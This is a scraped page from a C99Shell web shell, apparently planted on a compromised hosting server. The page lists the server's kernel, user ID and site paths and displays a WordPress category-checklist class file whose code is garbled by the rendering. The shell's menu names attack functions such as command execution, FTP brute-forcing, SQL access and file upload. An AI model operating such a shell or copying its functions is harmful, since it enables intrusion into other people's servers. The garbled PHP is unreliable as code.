!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-admin/includes/   drwxr-xr-x
Free 182.38 GB of 490.84 GB (37.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-walker-category-checklist.php (4.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Taxonomy API: Walker_Category_Checklist class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Core walker class to output an unordered list of category checkbox input elements.
 *
 * @since 2.5.1
 *
 * @see Walker
 * @see wp_category_checklist()
 * @see wp_terms_checklist()
 */
class Walker_Category_Checklist extends Walker {
    public 
$tree_type 'category';
    public 
$db_fields = array ('parent' => 'parent''id' => 'term_id'); //TODO: decouple this

    /**
     * Starts the list before the elements are added.
     *
     * @see Walker:start_lvl()
     *
     * @since 2.5.1
     *
     * @param string $output Passed by reference. Used to append additional content.
     * @param int    $depth  Depth of category. Used for tab indentation.
     * @param array  $args   An array of arguments. @see wp_terms_checklist()
     */
    
public function start_lvl( &$output$depth 0$args = array() ) {
        
$indent str_repeat("\t"$depth);
        
$output .= "$indent<ul class='children'>\n";
    }

    
/**
     * Ends the list of after the elements are added.
     *
     * @see Walker::end_lvl()
     *
     * @since 2.5.1
     *
     * @param string $output Passed by reference. Used to append additional content.
     * @param int    $depth  Depth of category. Used for tab indentation.
     * @param array  $args   An array of arguments. @see wp_terms_checklist()
     */
    
public function end_lvl( &$output$depth 0$args = array() ) {
        
$indent str_repeat("\t"$depth);
        
$output .= "$indent</ul>\n";
    }

    
/**
     * Start the element output.
     *
     * @see Walker::start_el()
     *
     * @since 2.5.1
     *
     * @param string $output   Passed by reference. Used to append additional content.
     * @param object $category The current term object.
     * @param int    $depth    Depth of the term in reference to parents. Default 0.
     * @param array  $args     An array of arguments. @see wp_terms_checklist()
     * @param int    $id       ID of the current term.
     */
    
public function start_el( &$output$category$depth 0$args = array(), $id ) {
        if ( empty( 
$args['taxonomy'] ) ) {
            
$taxonomy 'category';
        } else {
            
$taxonomy $args['taxonomy'];
        }

        if ( 
$taxonomy == 'category' ) {
            
$name 'post_category';
        } else {
            
$name 'tax_input[' $taxonomy ']';
        }

        
$args['popular_cats'] = empty( $args['popular_cats'] ) ? array() : $args['popular_cats'];
        
$class in_array$category->term_id$args['popular_cats'] ) ? ' class="popular-category"' '';

        
$args['selected_cats'] = empty( $args['selected_cats'] ) ? array() : $args['selected_cats'];

        if ( ! empty( 
$args['list_only'] ) ) {
            
$aria_cheched 'false';
            
$inner_class 'category';

            if ( 
in_array$category->term_id$args['selected_cats'] ) ) {
                
$inner_class .= ' selected';
                
$aria_cheched 'true';
            }

            
/** This filter is documented in wp-includes/category-template.php */
            
$output .= "\n" '<li' $class '>' .
                
'<div class="' $inner_class '" data-term-id=' $category->term_id .
                
' tabindex="0" role="checkbox" aria-checked="' $aria_cheched '">' .
                
esc_htmlapply_filters'the_category'$category->name ) ) . '</div>';
        } else {
            
/** This filter is documented in wp-includes/category-template.php */
            
$output .= "\n<li id='{$taxonomy}-{$category->term_id}'$class>" .
                
'<label class="selectit"><input value="' $category->term_id '" type="checkbox" name="'.$name.'[]" id="in-'.$taxonomy.'-' $category->term_id '"' .
                
checkedin_array$category->term_id$args['selected_cats'] ), truefalse ) .
                
disabled( empty( $args['disabled'] ), falsefalse ) . ' /> ' .
                
esc_htmlapply_filters'the_category'$category->name ) ) . '</label>';
        }
    }

    
/**
     * Ends the element output, if needed.
     *
     * @see Walker::end_el()
     *
     * @since 2.5.1
     *
     * @param string $output   Passed by reference. Used to append additional content.
     * @param object $category The current term object.
     * @param int    $depth    Depth of the term in reference to parents. Default 0.
     * @param array  $args     An array of arguments. @see wp_terms_checklist()
     */
    
public function end_el( &$output$category$depth 0$args = array() ) {
        
$output .= "</li>\n";
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0064 ]--